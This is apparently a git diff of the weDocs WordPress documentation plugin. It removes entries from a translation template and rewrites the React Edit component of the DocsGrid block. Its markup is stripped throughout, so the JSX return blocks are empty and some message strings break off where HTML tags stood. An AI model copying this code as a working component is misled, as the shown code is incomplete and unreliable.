-#: includes/Admin/Promotion.php:175 -msgid "Unauthorized operation" -msgstr "" - -#: includes/Ajax.php:110 -#: includes/API/API.php:797 -msgid "Sorry, we have already recorded your feedback!" -msgstr "" - -#: includes/Ajax.php:125 -msgid "Thanks for your feedback!" -msgstr "" - -#: includes/Ajax.php:146 -msgid "Please enter a valid email address." -msgstr "" - -#: includes/Ajax.php:153 -msgid "Please provide a subject line." -msgstr "" - -#: includes/Ajax.php:157 -msgid "Please provide the message details." -msgstr "" - -#: includes/Ajax.php:162 -msgid "Thanks for your feedback." -msgstr "" - -#: includes/API/API.php:138 -msgid "Limit results to those matching a string." -msgstr "" - -#: includes/API/API.php:145 -msgid "The ID for the parent of the object." -msgstr "" - -#: includes/API/API.php:150 -msgid "Current page of the collection." -msgstr "" - -#: includes/API/API.php:158 -msgid "Maximum number of items to be returned in result set." -msgstr "" - -#: includes/API/API.php:189 -msgid "Documentations data" -msgstr "" - -#: includes/API/API.php:223 -msgid "Collective documents object" -msgstr "" - -#: includes/API/API.php:329 -#: includes/API/API.php:356 -#: includes/API/API.php:779 -msgid "You are not currently logged in." -msgstr "" - -#: includes/API/API.php:333 -#: includes/API/API.php:361 -#: includes/API/API.php:426 -msgid "Unauthorized permission error" -msgstr "" - -#: includes/API/API.php:337 -#: includes/API/API.php:366 -msgid "Currently sortable status not given" -msgstr "" - -#: includes/API/API.php:672 -msgid "The page number requested is larger than the number of pages available." -msgstr "" - -#: includes/API/API.php:758 -msgid "No name given" -msgstr "" - -#: includes/API/API.php:762 -msgid "No email given" -msgstr "" - -#: includes/API/API.php:788 -msgid "Doc status not valid for update helpful data" -msgstr "" - -#: includes/API/API.php:844 -msgid "You cannot delete the documentation resource." -msgstr "" - -#: includes/API/API.php:865 -msgid "Invalid Documentation." -msgstr "" - -#: includes/API/API.php:909 -msgid "You cannot see promotion notices." -msgstr "" - -#: includes/API/API.php:1002 -msgid "You do not have permission to generate AI content." -msgstr "" - -#: includes/API/API.php:1031 -msgid "Max tokens must be between 1 and 8000." -msgstr "" - -#: includes/API/API.php:1039 -msgid "Temperature must be between 0.0 and 2.0." -msgstr "" - -#: includes/API/API.php:1050 -msgid "AI settings are not configured." -msgstr "" - -#: includes/API/API.php:1064 -msgid "AI provider is not configured or API key is missing." -msgstr "" - -#: includes/API/API.php:1076 -msgid "Invalid AI provider specified." -msgstr "" - -#: includes/API/API.php:1086 -msgid "AI model is not specified." -msgstr "" - -#: includes/API/API.php:1099 -#: assets/build/editor.js:1 -#: src/utils/aiService.js:173 -#: src/utils/aiService.js:301 -#: src/utils/aiService.js:317 -#: src/utils/aiService.js:324 -msgid "You are a helpful documentation assistant." -msgstr "" - -#: includes/API/API.php:1109 -msgid "The request took too long to complete. Please try again with a shorter prompt." -msgstr "" - -#: includes/API/API.php:1148 -msgid "Unsupported AI provider" -msgstr "" - -#: includes/API/API.php:1171 -msgid "OpenAI API key is missing or invalid" -msgstr "" - -#: includes/API/API.php:1206 -#: includes/API/API.php:1282 -#: includes/API/API.php:1362 -msgid "The request took too long. Please try again with a shorter prompt or check your connection." -msgstr "" - -#: includes/API/API.php:1209 -msgid "OpenAI API error: %s" -msgstr "" - -#: includes/API/API.php:1228 -msgid "Invalid OpenAI API response" -msgstr "" - -#: includes/API/API.php:1251 -msgid "Anthropic API key is missing or invalid" -msgstr "" - -#: includes/API/API.php:1285 -msgid "Anthropic API error: %s" -msgstr "" - -#: includes/API/API.php:1304 -msgid "Invalid Anthropic API response" -msgstr "" - -#: includes/API/API.php:1327 -msgid "Google API key is missing or invalid" -msgstr "" - -#: includes/API/API.php:1365 -msgid "Google API error: %s" -msgstr "" - -#: includes/API/API.php:1374 -msgid "Google API request failed" -msgstr "" - -#: includes/API/API.php:1385 -msgid "Invalid Google API response" -msgstr "" - -#: includes/API/API.php:1401 -msgid "%s API request failed" -msgstr "" - -#: includes/API/API.php:1406 -#: includes/API/API.php:1411 -msgid "Invalid %s API key. Please check your API key in the AI settings." -msgstr "" - -#: includes/API/API.php:1408 -#: includes/API/API.php:1413 -msgid "Authentication failed. Please verify your %s API key is correct." -msgstr "" - -#: includes/API/API.php:1415 -msgid "Rate limit exceeded. Please wait a moment and try again." -msgstr "" - -#: includes/API/API.php:1417 -msgid "%s service is temporarily unavailable. Please try again later." -msgstr "" - -#: includes/API/API.php:1421 -msgid "%s API error: %s" -msgstr "" - -#: includes/API/SettingsApi.php:79 -msgid "Settings value" -msgstr "" - -#: includes/API/SettingsApi.php:88 -msgid "Upgrader version" -msgstr "" - -#: includes/API/SettingsApi.php:117 -#: includes/API/SettingsApi.php:134 -msgid "Sorry, you are not allowed to do that." -msgstr "" - -#: includes/API/SettingsApi.php:138 -msgid "No settings request found" -msgstr "" - -#: includes/API/UpgraderApi.php:104 -msgid "You don't have permission to get upgrader data" -msgstr "" - -#: includes/API/UpgraderApi.php:137 -msgid "Need to be an authenticate user" -msgstr "" - -#: includes/API/UpgraderApi.php:141 -msgid "Need to be an administrator user" -msgstr "" - -#: includes/API/UpgraderApi.php:161 -msgid "Processing Upgrade in the background." -msgstr "" - -#: includes/Frontend.php:82 -msgid "Powered by weDocs plugin for WordPress" -msgstr "" - -#: includes/Frontend.php:85 -msgid "Doc: " -msgstr "" - -#: includes/Frontend.php:86 -#: templates/modals/search-modal.php:49 -msgid "Search field cannot be blank" -msgstr "" - -#: includes/Frontend.php:87 -msgid "Your search didn't match any documents" -msgstr "" - -#: includes/Frontend.php:88 -msgid "Section: " -msgstr "" - -#: includes/functions.php:109 -#: assets/build/index.js:1 -#: src/components/ProPreviews/AssistantWidgetPanels/PreferencePanel/PreferenceSettings.js:33 -msgid "Home" -msgstr "" - -#: includes/functions.php:207 -msgid "Doc navigation" -msgstr "" - -#: includes/functions.php:402 -msgid "[%1$s] New Doc Feedback: \"%2$s\"" -msgstr "" - -#: includes/functions.php:404 -msgid "New feedback on your doc \"%s\"" -msgstr "" - -#: includes/functions.php:405 -msgid "Author: %1$s (IP: %2$s)" -msgstr "" - -#: includes/functions.php:406 -msgid "Email: %s" -msgstr "" - -#: includes/functions.php:407 -msgid "Feedback: %s" -msgstr "" - -#: includes/functions.php:408 -msgid "Doc Permalink: %s" -msgstr "" - -#: includes/functions.php:409 -msgid "Edit Doc: %s" -msgstr "" - -#: includes/Post_Types.php:32 -msgctxt "Post Type General Name" -msgid "Docs" -msgstr "" - -#: includes/Post_Types.php:33 -msgctxt "Post Type Singular Name" -msgid "Doc" -msgstr "" - -#: includes/Post_Types.php:34 -msgid "Documentation" -msgstr "" - -#: includes/Post_Types.php:35 -#: assets/build/index.js:7 -#: src/components/Migrations/Modals/MigrationContentMappingModal.js:140 -msgid "Parent Doc" -msgstr "" - -#: includes/Post_Types.php:36 -msgid "All Documentations" -msgstr "" - -#: includes/Post_Types.php:37 -msgid "View Documentation" -msgstr "" - -#: includes/Post_Types.php:38 -msgid "Add Documentation" -msgstr "" - -#: includes/Post_Types.php:39 -msgid "Add New" -msgstr "" - -#: includes/Post_Types.php:40 -msgid "Edit Documentation" -msgstr "" - -#: includes/Post_Types.php:41 -msgid "Update Documentation" -msgstr "" - -#: includes/Post_Types.php:42 -msgid "Search Documentation" -msgstr "" - -#: includes/Post_Types.php:43 -msgid "Not documentation found" -msgstr "" - -#: includes/Post_Types.php:44 -msgid "Not found in Trash" -msgstr "" - -#: includes/Post_Types.php:86 -msgctxt "Taxonomy General Name" -msgid "Tags" -msgstr "" - -#: includes/Post_Types.php:87 -msgctxt "Taxonomy Singular Name" -msgid "Tag" -msgstr "" - -#: includes/Post_Types.php:89 -msgid "All Tags" -msgstr "" - -#: includes/Post_Types.php:90 -msgid "Parent Tag" -msgstr "" - -#: includes/Post_Types.php:91 -msgid "Parent Tag:" -msgstr "" - -#: includes/Post_Types.php:92 -msgid "New Tag" -msgstr "" - -#: includes/Post_Types.php:93 -msgid "Add New Item" -msgstr "" - -#: includes/Post_Types.php:94 -msgid "Edit Tag" -msgstr "" - -#: includes/Post_Types.php:95 -msgid "Update Tag" -msgstr "" - -#: includes/Post_Types.php:96 -msgid "View Tag" -msgstr "" - -#: includes/Post_Types.php:97 -msgid "Separate items with commas" -msgstr "" - -#: includes/Post_Types.php:98 -msgid "Add or remove items" -msgstr "" - -#: includes/Post_Types.php:99 -msgid "Choose from the most used" -msgstr "" - -#: includes/Post_Types.php:100 -msgid "Popular Tags" -msgstr "" - -#: includes/Post_Types.php:101 -msgid "Search Tags" -msgstr "" - -#: includes/Post_Types.php:102 -msgid "Not Found" -msgstr "" - -#: includes/Post_Types.php:103 -msgid "No items" -msgstr "" - -#: includes/Post_Types.php:104 -msgid "Tags list" -msgstr "" - -#: includes/Post_Types.php:105 -msgid "Tags list navigation" -msgstr "" - -#: includes/Widget.php:13 -msgid "Document Search Widget" -msgstr "" - -#: includes/Widget.php:16 -msgid "weDocs Document Search" -msgstr "" - -#: includes/Widget.php:36 -#: assets/build/index.js:1 -#: assets/build/index.js:7 -#: src/components/BackToDocsPage.js:25 -#: src/components/Documentations/index.js:131 -#: src/components/PermissionSettingsDemo/BackToDocsPage.js:25 -msgid "All Docs" -msgstr "" - -#: includes/Widget.php:47 -#: includes/Widget.php:48 -#: templates/doc-search-form.php:8 -#: templates/docs-sidebar.php:35 -msgctxt "label" -msgid "Search for:" -msgstr "" - -#: includes/Widget.php:48 -msgctxt "placeholder" -msgid "Documentation Search …" -msgstr "" - -#: includes/Widget.php:54 -msgctxt "submit button" -msgid "Search" -msgstr "" - -#: includes/Widget.php:68 -msgid "Documentation Search" -msgstr "" - -#: templates/content-feedback.php:8 -msgid "%d person found this useful" -msgid_plural "%d persons found this useful" -msgstr[0] "" -msgstr[1] "" - -#: templates/content-feedback.php:8 -#: templates/content-feedback.php:9 -msgid "No votes yet" -msgstr "" - -#: templates/content-feedback.php:9 -msgid "%d person found this not useful" -msgid_plural "%d persons found this not useful" -msgstr[0] "" -msgstr[1] "" - -#: templates/content-feedback.php:12 -msgid "Was this article helpful to you?" -msgstr "" - -#: templates/content-feedback.php:16 -msgid "No" -msgstr "" - -#: templates/content-feedback.php:22 -msgid "Yes" -msgstr "" - -#: templates/content-modal.php:14 -#: templates/single-docs.php:144 -msgid "How can we help?" -msgstr "" - -#: templates/content-modal.php:22 -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:188 -msgid "Name" -msgstr "" - -#: templates/content-modal.php:30 -msgid "Email" -msgstr "" - -#: templates/content-modal.php:38 -msgid "Subject" -msgstr "" - -#: templates/content-modal.php:46 -msgid "Message" -msgstr "" - -#: templates/content-modal.php:54 -msgid "Send" -msgstr "" - -#: templates/doc-search-form.php:9 -msgctxt "placeholder" -msgid "Search for a topic or question" -msgstr "" - -#: templates/docs-sidebar.php:36 -msgctxt "placeholder" -msgid "Quick search..." -msgstr "" - -#: templates/modals/search-modal.php:34 -msgid "Search documentation" -msgstr "" - -#: templates/modals/search-modal.php:42 -msgid "ESC" -msgstr "" - -#: templates/pro-notice.php:6 -msgid "weDocs Logo" -msgstr "" - -#: templates/pro-notice.php:11 -msgid "🎉 Introducing weDocs Pro — a completely revamped weDocs with better user experience, A.I. Chatbot, granular permission management, assistant widget, floating contact form and more. Get 50% OFF while the Early Bird Offer lasts!" -msgstr "" - -#: templates/pro-notice.php:14 -msgid "Try Now" -msgstr "" - -#: templates/pro-notice.php:16 -msgid "No, Thanks" -msgstr "" - -#: templates/single-docs.php:84 -msgid "Print this article" -msgstr "" - -#. translators: %s: Name of current post. -#: templates/single-docs.php:95 -msgid "Continue reading %s " -msgstr "" - -#: templates/single-docs.php:100 -msgid "Docs:" -msgstr "" - -#: templates/single-docs.php:108 -#: assets/build/index.js:7 -#: src/components/Migrations/Modals/MigrationContentMappingModal.js:17 -msgid "Articles" -msgstr "" - -#: templates/single-docs.php:119 -msgctxt "Used before tag names." -msgid "Tags" -msgstr "" - -#: templates/single-docs.php:144 -msgid "Still stuck? " -msgstr "" - -#: templates/single-docs.php:152 -#: assets/build/index.js:1 -#: src/components/DocListing/ArticleChildrens.js:236 -#: src/components/DocListing/SectionArticles.js:320 -msgid "Updated on %s" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/CustomControls/UnitControl.js:16 -msgid "Unit" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/attributes.js:18 -msgid "Search for a top or question" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:47 -msgid "Align left" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:55 -msgid "Align center" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:64 -msgid "Align right" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:116 -#: src/blocks/DocsGrid/StyleControls.js:175 -#: src/blocks/Search/edit.js:115 -msgid "Solid" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:118 -#: src/blocks/DocsGrid/StyleControls.js:177 -#: src/blocks/Search/edit.js:116 -msgid "Dotted" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:117 -#: src/blocks/DocsGrid/StyleControls.js:176 -#: src/blocks/Search/edit.js:117 -msgid "Dashed" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:118 -msgid "Double" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:119 -msgid "Groove" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:120 -msgid "Ridge" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:121 -msgid "Inset" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:122 -msgid "Outset" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:119 -#: src/blocks/DocsGrid/StyleControls.js:178 -#: src/blocks/Search/edit.js:123 -msgid "None" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:124 -msgid "Hidden" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:134 -msgid "Disable Block" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:140 -msgid "Color Settings" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:147 -msgid "Field Background Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:152 -msgid "Field Hover Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:155 -#: src/blocks/Search/edit.js:157 -msgid "Border Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:162 -msgid "Icon Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:222 -#: src/blocks/Search/edit.js:167 -msgid "Button Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:228 -#: src/blocks/Search/edit.js:172 -msgid "Button Hover Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:177 -msgid "Icon Hover Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:183 -msgid "Search Bar Settings" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:187 -msgid "Field Width" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:193 -msgid "Placeholder" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:194 -msgid "Search bar placeholder" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:197 -msgid "POSITION" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:211 -msgid "Field Padding" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:222 -msgid "Field Margin" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:184 -#: src/blocks/Search/edit.js:229 -msgid "Border Width" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:197 -#: src/blocks/Search/edit.js:236 -msgid "Border Radius" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:172 -#: src/blocks/Search/edit.js:242 -msgid "Border Type" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:247 -#: src/blocks/Search/edit.js:253 -msgid "Button Padding" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:252 -#: src/blocks/Search/edit.js:263 -msgid "Button Margin" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/edit.js:270 -msgid "Button Radius" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/index.js:16 -msgid "weDocs - Searchbar" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/Search/index.js:19 -msgid "Simple search forms for easy user guidance for your documentation" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:133 -msgid "Grid Styles" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:137 -msgid "Colors" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:143 -msgid "Doc Title Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:149 -msgid "Doc Children Active Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:162 -msgid "Grid Padding" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:167 -msgid "Grid Margin" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:212 -msgid "Button Styles" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:216 -msgid "Button Colors" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:234 -msgid "Button Text Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:240 -msgid "Button Hover Text Color" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:257 -msgid "Button Border Radius" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/StyleControls.js:271 -msgid "Button Text" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:186 -msgid "weDocs Order" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:187 -msgid "ID" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:191 -msgid "Ascending" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:192 -msgid "Descending" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:446 -msgid "Doc Grid Settings" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:453 -msgid "DOCS GRID COLUMN STYLE" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:460 -msgid "Docs per page" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:467 -msgid "Exclude Docs" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:473 -msgid "Order" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:479 -msgid "Order by" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:486 -msgid "Sections per doc" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:493 -msgid "Articles per section" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:500 -msgid "Show Doc Article" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:508 -msgid "Keep Article Collapsed" -msgstr "" - -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:517 -msgid "Show View Details Button" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterPreview.js:24 -msgid "The content above is formatted with HTML tags. When inserted, it will be properly formatted in your document." -msgstr "" - -#: assets/build/editor.js:1 -#: assets/build/index.js:1 -#: assets/build/index.js:7 -#: src/components/AddArticleModal.js:205 -#: src/components/AddDocModal.js:170 -#: src/components/AddSectionModal.js:165 -#: src/components/ConfirmationModal.js:140 -#: src/components/DocListing/QuickEditModal.js:254 -#: src/components/Migrations/Modals/MigrationContentMappingModal.js:199 -#: src/components/Migrations/Modals/MigrationProgressModal.js:155 -#: src/components/Migrations/Modals/MigrationSelectionModal.js:195 -#: src/components/PermissionSettingsDemo/index.js:31 -#: src/components/RestrictionModal.js:131 -#: src/editor/AiDocWriterModal.js:493 -#: src/editor/AiDocWriterPreview.js:35 -msgid "Cancel" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterPreview.js:41 -msgid "Reject & Try Again" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterPreview.js:47 -msgid "Accept & Insert" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:116 -msgid "Invalid provider specified" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:120 -msgid "API key is required" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:129 -msgid "API connection successful" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:135 -msgid "API connection failed" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:157 -msgid "AI provider not configured" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:188 -msgid "AI content generation failed. Please try again." -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:200 -msgid "A server error occurred. Please try again or contact support if the problem persists." -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:205 -#: src/utils/aiService.js:215 -msgid "A server error occurred. Please try again." -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:207 -msgid "You do not have permission to perform this action." -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:209 -#: src/utils/aiService.js:217 -msgid "An error occurred. Please try again." -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:255 -msgid "Failed to list Google models" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:372 -msgid "API request failed" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:485 -msgid "Default provider is required" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:489 -msgid "Invalid default provider" -msgstr "" - -#: assets/build/editor.js:1 -#: src/utils/aiService.js:495 -msgid "Invalid provider" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:104 -msgid "Generate documentation using HTML heading tags for the title. Include details on {Documentation Keywords} and wrap all content in

    tags. Highlight headings and keywords with ." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:110 -msgid "Generate documentation using HTML heading tags for '{title}'. Include relevant details on {keywords} in the documentation. Wrap all content in

    tags. Highlight headings and keywords with ." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:426 -#: src/editor/AiDocWriterPanel.js:32 -#: src/editor/AiDocWriterPanel.js:34 -msgid "weDocs AI Doc Writer" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:408 -msgid "Failed to insert content. Please try again." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:437 -msgid "Documentation Title" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:440 -msgid "Enter your documentation title here..." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:441 -msgid "The title will be used to generate relevant content." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:447 -msgid "Keywords" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:450 -msgid "Add keywords to guide AI (comma-separated)..." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:451 -msgid "Enter relevant keywords separated by commas." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:457 -msgid "AI Instructions" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:461 -msgid "AI instructions will be auto-generated from title and keywords..." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:462 -msgid "Instructions are automatically generated from your title and keywords. You can edit them manually if needed." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:467 -msgid "Use existing post content" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:470 -msgid "When enabled, the AI will consider your existing post content to maintain consistency and avoid duplication." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:475 -msgid "Overwrite your existing Doc" -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:478 -msgid "When enabled, AI content will replace the entire document. When disabled, content will be inserted at the end of the current contents." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:231 -msgid "AI service is not configured. Please set up your AI provider settings in weDocs > Settings > AI Control Settings." -msgstr "" - -#: assets/build/editor.js:1 -#: src/editor/AiDocWriterModal.js:236 -msgid "You are a professional documentation writer. Generate comprehensive, well-structured documentation content using HTML tags. Use proper heading hierarchy (h2, h3, etc.) and wrap all content in paragraph tags. Highlight important terms with tags. IMPORTANT: Only return the content body without HTML document structure (no , , , - - ); - }; - - const displayDocs = getDisplayDocs(); - // Create a mapping of ID to title for suggestions - const docsMap = pages ? pages.reduce((acc, page) => { - acc[page.id] = page.title.rendered; - return acc; - }, {}) : {}; - - // Prepare docs options for FormTokenField - const docsOptions = pages ? pages.map(page => ({ - value: page.id.toString(), - label: page.title.rendered - })) : []; - - // Update handlers - const updateAttribute = (attributeName) => (value) => { - setAttributes({ [attributeName]: value }); - }; - - // Transform IDs to titles for FormTokenField display - const excludeDocsDisplay = excludeDocs ? excludeDocs.map(id => docsMap[id] || id) : []; - - // Handle token changes - const handleExcludeDocsChange = (tokens) => { - // Convert titles back to IDs - const newExcludeDocs = tokens.map(token => { - // Find the ID for this title - const found = Object.entries(docsMap).find(([id, title]) => title === token); - return found ? found[0] : token; - }); - - setAttributes({ excludeDocs: newExcludeDocs }); - }; - - const getGridClass = () => { - return `wedocs-docs-grid--${docStyle}`; - }; - - return ( - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    - {hideDocGrid ? ( -
    - ) : ( -
    -
    - {loading ? ( - - ) : ( - displayDocs.map((doc) => renderGridItem(doc, applyStyles())) - )} -
    -
    - )} -
    - - ); -}; - -export default Edit; +import { __ } from '@wordpress/i18n'; +import { cog, grid } from '@wordpress/icons'; +import { Fragment, useState } from '@wordpress/element'; +import { useBlockProps, InspectorControls } from '@wordpress/block-editor'; +import { + PanelBody, + SelectControl, + ToggleControl, + PanelRow, + FormTokenField +} from '@wordpress/components'; +import StyleControls from './StyleControls'; + +const Edit = ({ attributes, setAttributes }) => { + const blockProps = useBlockProps(); + const { useSelect } = wp.data; + const [currentPage, setCurrentPage] = useState(1); + const [loading, setLoading] = useState(false); + + const { + hideDocGrid, + docStyle, + docsPerPage, + excludeDocs, + order, + orderBy, + sectionsPerDoc, + articlesPerSection, + showDocArticle, + keepArticlesCollapsed, + showViewDetails, + gridPadding, + gridMargin, + docTitleColor, + docChildrenActiveColor, + borderType, + borderRadius, + borderWidth, + borderColor, + buttonBorderRadius, + buttonPadding, + buttonMargin, + buttonColor, + buttonHoverColor, + buttonTextColor, + buttonText, + buttonHoverTextColor, + } = attributes; + + const applyStyles = () => { + const paddings = gridPadding ? `${gridPadding.top} ${gridPadding.right} ${gridPadding.bottom} ${gridPadding.left}` : ''; + const margins = gridMargin ? `${gridMargin.top} ${gridMargin.right} ${gridMargin.bottom} ${gridMargin.left}` : ''; + const btnPaddings = buttonPadding ? `${buttonPadding.top} ${buttonPadding.right} ${buttonPadding.bottom} ${buttonPadding.left}` : ''; + const btnradius = buttonBorderRadius || '8px'; + const btnMargins = buttonMargin ? `${buttonMargin.top} ${buttonMargin.right} ${buttonMargin.bottom} ${buttonMargin.left}` : ''; + + return { + item: { + padding: paddings, + margin: margins, + borderStyle: borderType || 'solid', + borderWidth: borderWidth || '1px', + borderColor: borderColor || 'rgba(0, 0, 0, 0.1)', + borderRadius: borderRadius || '8px', + backgroundColor: '#fff' + }, + title: { + color: docTitleColor || '#1e1e1e' + }, + children: { + color: docChildrenActiveColor || '#0073aa' + }, + button: { + padding: btnPaddings, + margin: btnMargins, + backgroundColor: buttonColor || '#0073aa', + color: buttonTextColor || '#ffffff', + text: buttonText || __('View Details', 'wedocs'), + borderRadius: btnradius || '8px', + '--hover-bg': buttonHoverColor || '#005177', + '--hover-color': buttonHoverTextColor || '#ffffff' + } + }; + }; + + const renderGridItem = (doc, styles) => ( +
    +

    + {doc.title.rendered} +

    + {renderSections(doc, styles)} + {showViewDetails && ( +
    + + {styles.button.text} + +
    + )} +
    + ); + const renderSections = (doc, styles) => { + if (!doc.sections) return null; + + return ( +
    + {doc.sections.map(section => ( +
    +

    + {section.title.rendered} + {showDocArticle && section.articles && section.articles.length > 0 && ( + + + + )} +

    + {(showDocArticle && !keepArticlesCollapsed && section.articles) && ( +
      + {section.articles.map(article => ( +
    • + {article.title.rendered} +
    • + ))} +
    + )} +
